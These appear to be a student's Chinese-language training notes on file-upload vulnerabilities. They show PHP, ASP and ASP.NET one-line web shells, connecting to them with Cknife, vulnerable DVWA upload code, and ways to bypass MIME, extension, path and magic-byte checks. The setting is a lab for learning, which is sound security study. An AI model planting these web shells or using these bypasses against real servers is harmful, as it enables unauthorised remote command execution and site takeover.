集训第六天:文件上传漏洞
韩舒学姐(相当温柔)今天给我们讲解了文件上传漏洞,以及Anrwsord和Cknife等工具的使用。
文件上传漏洞
上传的文件不进行限制,有可能会被利用于上传可执行文件、脚本到服务器上,并且通过脚本文件可以获得执行服务器端命令的能力
木马
根据语言分类,有PHP、ASP、JSP、ASP.NET等不同语言下的木马;根据作用分类,有大马和小马
PHP一句话木马:
<?php ehco shell_exec($_GET[‘a’]); ?>
<?php ehco shell_exec($_POST[‘a’]); ?>
<?php @eval($_POST[‘a’]); ?>
ASP一句话木马:
<%eval request(“Cknife”)%>
ASP.NET一句话木马:
<%@ Page Language=”Jscript”%><%eval(Request.Item[“Cknife”],”unsafe”);%>
shell_exec()
通过环境执行命令,并且将完整的输出以字符串的方式返回
eval()
把字符串作为PHP代码执行执行a接收到的内容
Cknife(菜刀)
超级强大的网站管理工,分为客户端和代码两部分
只要将那简短的一句话代码放到网站上去就可以取得网站的权限
运行环境:安装了JRE1.7+环境的所有操作系统
主要功能:文件管理、虚拟终端、数据库管理
DVWA’s File Upload
low level的测试一下,源码中没有对任何文件格式进行过滤:
写出一句话木马
用菜刀连接的一句话木马:
<?php @eval($_POST[‘a’]; ?>
直接在网页下通过GET的一句话木马:
<?php echo shell_exec($_GET[‘a’]); ?>
在网页下用hackbar通过POST的一句话木马:
<?php echo shell_exec($_POST[‘a’]); ?>
上传一句话木马直接在网页查到文件
get
post
Cknife连接
连接后可以得到目标服务器下所有文件
源码:
<?php
if (isset($_POST[‘Upload’])) {
$target_path =
DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
//上传路径为../../hackable/uploads/
$target_path = $target_path . basename( $_FILES['uploaded']['name']);
//上传路径加上上传的文件名
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
//对是否上传成功做出判断,因此所有格式的文件都能上传
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
?>
文件上传漏洞检测
客户端javascript检测:通常在本地检测文件的扩展名
服务端MIME类型检测:通常检测的是Content-Type内容
服务端目录路径检测:通常根path参数相关的内容
服务端文件扩展名检测:通常检测跟文件extension相关的内容
服务端文件内容检测:检测文件内容是否合法或含有恶意代码
客户端javascript检测
在客户端使用js对不合法图片进行检查
绕过:
禁用页面js
先把文件改成符合条件的文件格式上传,在抓包,修改文件的后缀名
服务端检测绕过(MIME类型检测)
通过判断$_FILES[‘userfile’][‘type’]!=”imgae/gif”来保证上传的文件类型为gif
绕过:通过burp抓包,将原来的Content-Type类型改为符合要求的类型
Content-Type: application/octet-stream
application/octet-stream即为php文件的文件类型格式
服务端目录路径检测
上传路径为“/image/20160704”时,可以通过修改为“image/20160704/eval.php%00filename.gif”
通过%00截断最终导致存储的文件名为eval.php
服务端文件扩展名检测
分为黑名单检测和白名单检测
黑名单检测
接收上传的文件做对比,如果匹配到黑名单中的后缀名,则不允许上传
绕过:
后缀名大小写绕过 ,例如:将Burpsuite截获的数据包中的文件名“evil.php”改“evil.Php”
名单列表绕过,尝试使用非黑名单内的后缀名,如php5,php7等
特殊文件名绕过(只适用windows,将文件名改为“evil.php.”或“evil.php”(注意这里有一个空格)。在windows下,不允许这样的命 名,所以会将.和空格自动去掉)。
0x00截断绕过:在上传的时候,当文件系统读到0x00时,会认为文件已经结束。例如:“1.php%00.jpg”,验证扩展名是“.jpg”,但写入的时候是“1.php”文件
白名单检测
接收上传的文件做扩展名匹配,匹配上的白名单中的扩展名的文件才能上传
绕过:
0x00阶段绕过
解析漏洞绕过:(1)apache解析文件名是从右到左识别扩展名,如“eval.php.jpg”,文件为php文件,不能解析jpg会向前解析php
(2)IIS6.0目录名包含“.asp、.asa、.cer”的话,则该目录下的所有文件都将按照asp解析。
(3)IIS6.0不解析;后面的,所以提交“evil.asp;.html”解析为asp类型
(4)Nginx解析漏洞:将php文件换成其他可以通过的文件后缀,访问的时候在后面加上“eval.php.jpg”,如“evil.jpg/.php”,“evil.jpg”会解析为php的格式
服务端文件内容检测
图像类文件内容检测
文件幻数检测(图片头格式检测):
(1)jpg内容头value= FF D8 FF E0 00 10 4A 46 49 46
(2)gif内容头value= 47 49 46 38 39 61
(3)png内容头value= 89 50 4E 47
绕过:在文件头后加上一句话木马就能绕过